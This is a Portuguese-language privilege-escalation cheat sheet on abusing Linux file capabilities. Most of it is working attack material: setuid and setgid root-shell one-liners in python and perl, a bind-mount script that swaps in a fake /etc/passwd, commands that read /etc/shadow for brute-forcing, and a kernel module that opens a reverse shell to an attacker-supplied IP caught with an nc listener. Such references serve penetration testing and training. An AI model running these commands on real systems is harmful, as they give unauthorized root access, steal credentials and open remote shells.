Capabilities

Os recursos do Linux são usados para permitir que binários (executados por usuários comuns) realizem operações privilegiadas sem fornecer a eles todas as permissões de root.

Isso é diferente de SUID, prova disso que é um ls -lh não irá te trazer nenhuma dica de vulnerabilidade. Para isso, usamos o getcap, como descrito logo a seguir.

Os tipo de Capabilities são:

CAPABILITIES	TIPO
CapInh	Inherited
CapPrm	Permitted
CapEff	Effective
CapBnd	Bind
CapAmb	Ambient

Verificando Capabilities

Exibindo o Capabilities do bash atual. Verifique em Current: =

capsh --print

Outra maneira de verificar, é executando seguinte comando:

grep Cap /proc/$BASHPID/status

# Utilize o saída do comando acima para utilizar embaixo
capsh --decode=<valor_de_Cap***>

Podemos também, pesquisar por arquivos no SO que possuem permissões.

getcap -r / 2>/dev/null

Python

cap_setgid+ep

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado de binário vulnerável, onde é possível acessar o python com o usuários atual, porém adicioando as permissões do grupo root.

/usr/bin/python2.7 = cap_setgid+ep

Para explorar, basta executar o comando abaixo. Atente-se ao 0 que foi passado como parâmetro em os.setgid(), que o número correspondente ao grupo root. Para ver os grupos disoníveis no SO, leia o arquivo /etc/group e verifique o número correspondenet ao grupo que queira personificar. É sempre bom, pegar o grupo shadow e assim, ler o conteúdo do arquivo /etc/shadow para poder então, realizar um ataque de brute force.

/usr/bin/python2.7 -c 'import os; os.setgid(0); os.system("/bin/bash")'

cap_sys_admin+ep

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado de binário vulnerável, onde é possível acessar o python com usuário root para realizar leitura e escrita de arquivos

/usr/bin/python2.7 = cap_sys_admin+ep

Agora é necessário fazer uma cópia do arquivo /etc/passwd, e alterar o hash do usuário root:

# Copiando arquivo
cp /etc/passwd .
# Gerando hash
openssl passwd -1 -salt abc <pass>
# Modificando hash do root no arquivo copiado
vim passwd

Agora vamos criar um arquivo chamado xpl.py, com o seguinte conteúdo (altere o valor da variável source ):

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"</path/to/fake/passwd>"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Agora basta executar o script e depois acessar o usuário root com a senha definida anteriormente.

/usr/bin/python2.7 xpl.py
su root

cap_setuid / cap_net_bind_service+eip

Deixando o arquivo vulnerável.

sudo setcap cap_setuid+ep $(which python3)

Agora ao executar o comando get -r / 2>/dev/null, devemos ter algo parecido com a saída abaixo:

/usr/bin/python3 = cap_setuid,cap_net_bind_service+eip

Pegando bash com permissão root.

$(which python3) -c 'import os ; os.setuid(0) ; os.system("/bin/bash")'

cap_sys_module

Verifique se o arquivo python está com cap_sys_module+ep ativo.

getcap $(which python)

Caso positivo, verifique se o python possui o kmod.

python -c 'help("modules")' | grep "kmod"

Se estiver tudo ok até aqui, execute os seguintes comandos:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/

Crie um arquivo chamado reverse-shell.c com o seguinte conteúdo:

#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<ip>/<port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
	return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
	printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Crie outro, dessa vez com o nome Makefile.

obj-m +=reverse-shell.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

E então, execute no terminal:

make
cp reverse-shell.ko lib/modules/5.0.0-20-generic/
depmod -a -b ./

Agora crie um arquivo chamado insert-kernel-module.py com o seguinte conteúdo:

import kmod
km=kmod.Kmod()
km.set_mod_dir("/home/student/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

No host atacante deixe o nc no modo listener para receber a conexão.

nc -nvlp <port>

E por último, no host alvo, execute:

python insert-kernel-module.py

cap_dac_read_search+ep

Listando arquivo de um diretório

import os
for r, d, f in os.walk('/root'):
    for filename in f:
        print(filename)

Lendo conteúdo de um arquivo

/path/to/python3 -c 'print(open("/etc/shadow", "r").read())'

tcpdump

Deixando o arquivo vulnerável.

sudo setcap 'cap_net_raw+ep' $(which tcpdump)

Agora basta utilizar o tcpdump normalmente.

$(which tcpdump) -i <interface>

tar

Primeiro verifique o Capability do tar.

getcap $(which tar)

Caso tenha o cap cap_dac_read_search+ep, é possível utilizar para comprimir e descomprimir qualquer arquivo.

$(which tar) cvf shadow.tar /etc/shadow
$(which tar) -xvf shadow.tar

perl

/usr/bin/perl5.26.1 = cap_setuid+ep
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

x86_64-linux-gnu-ld.bfd

Procurando por binários vulneráveis

getcap -r / 2>/dev/null

Resultado

/usr/bin/x86_64-linux-gnu-ld.bfd = cap_dac_override+ep

Copiando /etc/shadow para o diretório atual

/usr/bin/x86_64-linux-gnu-ld.bfd -r -b binary /etc/shadow -o shadow.o

Lendo conteúdo de /etc/shadow

xxd shadow.o

CAP_SETUID

import os
import prctl
# Add the capability to the effective set
prctl.cap_effective.setuid = True
os.setuid(0)
os.system("/bin/bash")